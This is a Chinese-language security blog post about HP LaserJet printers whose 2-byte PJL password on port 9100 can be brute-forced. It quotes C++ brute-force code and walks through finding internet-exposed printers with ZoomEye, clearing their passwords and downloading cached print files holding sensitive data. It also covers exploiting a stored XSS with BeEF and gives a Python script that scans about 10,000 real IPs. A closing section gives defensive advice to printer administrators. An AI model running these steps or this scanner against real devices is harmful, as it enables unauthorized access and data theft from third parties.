0x01 漏洞概要html
PCL表明打印机控制语言(Printer Control Language),由惠普公司开发,并被普遍使用的一种打印机协议。关于另外一种页面描述语言,应该提一提由Adobe设计的PostScript(PS),它能够将更为复杂的事情交由绘图仪/打印机处理。PJL (Printer Job Language,打印机做业语言)做为PCL的扩展,用于指导打印机行为,好比更改设备设置、传输文件等。 若打印机的9100端口向公网开启,在向打印机发送PJL指令以前须要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),所以能够经过暴力破解认证密钥想打印机发送PJL指令,最终致使任意命令的执行。python
PJL (Printer Job Language)程序用于告诉打印机执行什么动做,是对PCL的额外支持。 PJL (Printer Job Language) 用于规范格式化页面的基本语言。自己是无害的,但却成为大多数解析器和解释器的漏洞利用代码。git
打印机系统9100端口开启时,若连上该端口经过PJL指令发送设备名称请求并获得打印机的响应,说明能够未受权访问打印机,PJL保护机制的密钥由2个字节(16比特)的存储单位存储,能够进行暴力破解攻击,从而获得目标打印机的彻底访问权限。github
根据国外安全研究员PHENOELIT 已经写好了漏洞利用程序,对其中的主要代码进行分析,获得下面的流程图json
下面是破解密钥部分的代码:浏览器
void PJLsession::blind_disable_pjl_password(unsigned int pass) { String ts; char numb[50]; if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX _snprintf(numb,49,"%u",pass);#else snprintf(numb,49,"%u",pass);#endif //UNIX connection.clear(); connection.sendbuf.set(PJL_START); connection.sendbuf.append("\r\n"); connection.sendbuf.append("@PJL JOB PASSWORD="); connection.sendbuf.append(numb); connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n"); connection.sendbuf.append("@PJL EOJ\r\n"); connection.sendbuf.append(PJL_FINISH); connection.senddata(); // TEST !!! // connection.recvatleast(9,ctimeout); // end TEST connection.sendbuf.clear(); }
由于打印机所使用的密码长度只有2个字节,即16个bit, 65535中表示方法,因此密码范围在0到65535之间,这就是为何程序能暴力破解打印机认证密码。缓存
connection.sendbuf.set()后面根据PJL协议发送指定的数据包。使攻击者在破解密码以后能够用里面的命令进行任意操做了。安全
首先获取可能存在漏洞的打印机IP地址,打开www.zoomeye.org,输入漏洞关键字 HP LaserJet 进行搜索。搜索结果以下:网络
从结果中能够看到一些带有 HP LaserJet 标签的互联网主机和所属国家信息,这些主机就颇有可能隐藏着打印机漏洞。咱们从中选取一些进行测试。session
Nmap的扫描结果显示主机不但开启了9100端口,80,443,23端口也开着,入侵也就多了一些其余的方式。
咱们使用 PHENOELIT 开发的PFT工具来进行渗透测试。这个用C++写成的黑客工具备简单的命令行交互界面,专门用来破解PLJ接口的打印机,获取打印机的环境变量、文件系统和重要目标文件。
咱们运行PFT工具,用 help 命令查看帮助文档
能够用PFT提供的暴力破解功能清除掉打印机的 PJL 程序保护。
显示密码清除成功,使用 ls 命令查看打印机上硬盘里的文件:
在这里能够查看打印机硬盘中存放的全部东西。若是打印机缓存了打印文件,在这里也是能够找到的。咱们能够进入一个目录选择一个文件下载到本地:
查看L006105.XML文件的内容:
在这里能够查看到一些诸如本次打印的任务主机IP,邮箱,打印的文件名等敏感信息。
存在于惠普打印机中风险的仅仅是拒绝服务,信息泄漏这么简单吗?在 Exploit-DB网站 中找到 HPLaserJet printers - Multiple Stored XSS Vulnerabilities(点击链接) 惠普打印机的多个存储型 XSS 漏洞, 对应 CVE 号: CVE-2012-3272 没给出利用方式,试着打开浏览器Fuzz了出来: 点击WEB的“支持信息”链接
点击 Apply 按钮,出现了 XSS 弹框:
利用该漏洞,配合 Beef 攻击框架,经过一段编写好的 JavaScript(hook.js)控制目标主机的浏览器,经过目标主机浏览器得到该主机的详细信息,并进一步扫描内网,配合 Metasploit 绝对是内网渗透一大杀器。
HP打印机的厂商已经对固件进行了升级,采用更安全的加密机制处理PJL密钥,不过因为全球范围用户基数比较大,已经用户安全意识不强,依然大量存在这种受害打印机,由ZoomEye网络空间搜索引擎导出的数据接合咱们小组写的自动化扫描脚本。
#!/usr/bin/env python # -*- coding: UTF-8 -*- import socket import json import sys from optparse import OptionParser PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n" PJL_USTATUS = "USTATUS DEVICE=" PJL_INFO_ID = "INFO ID\r\n" EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH #PJL 语言 DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH #PJL 语言 获取设备型号 class Printer(): def __init__(self): self.usage() if sys.argv < 1 : self.usage() self.readfile(options.file) def usage(self): parser = OptionParser() parser.add_option("-i", "--ip", dest="ip", help="test single ip") # parser.add_option("-f", "--file",dest="file", help="files ") # global options (options, args) = parser.parse_args() def Buildsocket(self, ip, port=9100): sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) #与主机创建socket链接 sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' sock.send(EOF) sock.send(DEVICEID) # 发送PJL指令给远程打印机 try: device = sock.recv(1024) except: return 'No' print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device) sock.close() return 'OK' def GetDiviceMap(self, data,status): f = open('result.txt', 'a+') try: f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en']) +', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude']) +', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code']) +', ' + str(data['geoinfo']['continent']['name']['en']) + "\r\n") except: pass f.close() def readfile(self, file): Vuln_ip = 0 # ip 列表输入的IP数量 No_vuln_ip = 0 CantConnectIP = 0 linenum = 0 f = open(file, 'r') for line in f.readlines(): data = json.loads(line) status = self.Buildsocket(data['ip']) if status == 'error': CantConnectIP += 1 elif status == 'No': No_vuln_ip += 1 else: Vuln_ip += 1 self.GetDiviceMap(data, status) linenum += 1 print "[!*]-Now-is-%s-lines" % str(linenum) f.close() print str(CantConnectIP) + " " + str(No_vuln_ip) + " " + str(Vuln_ip) if __name__ == '__main__': Printer()
全球影响面
这个漏洞波及了不少国家和地区,以美国最盛。咱们用小组开发的自动化脚本加上ZoomEye提供的1万组惠普打印机IP进行测试。 结果绘制成图表以下。
能够看到,美国是 PCL 打印机漏洞的重灾区,至今还拥有数量最多的漏洞主机。韩国也受到了很大的影响。其余国家,包括中国,有漏洞的打印机数量都很少,并且一半以上已被修复。
对打印机管理员有如下建议:
像打印机,摄像头这种联网类型的设备,目前你们对这方面的安全意识须要进一步增强,最好把设备控制在内网使用。若是须要提供到外网接口,必定要采起必定的安全措施,默认的安全口令也须要修改。增长攻击人员的成本从而使得设备更加安全。
本文由 我和另外两个小伙伴 fengxuan zhufengdaaa 完成
原文首发于:http://zhufengdaaa.github.io
参考网址:
https://www.altamiracorp.com/blog/employee-posts/hacking-hp-printers-for-fun-profit
https://en.wikipedia.org/wiki/Printer_Job_Language
http://www.51cto.com/art/200508/7989.htm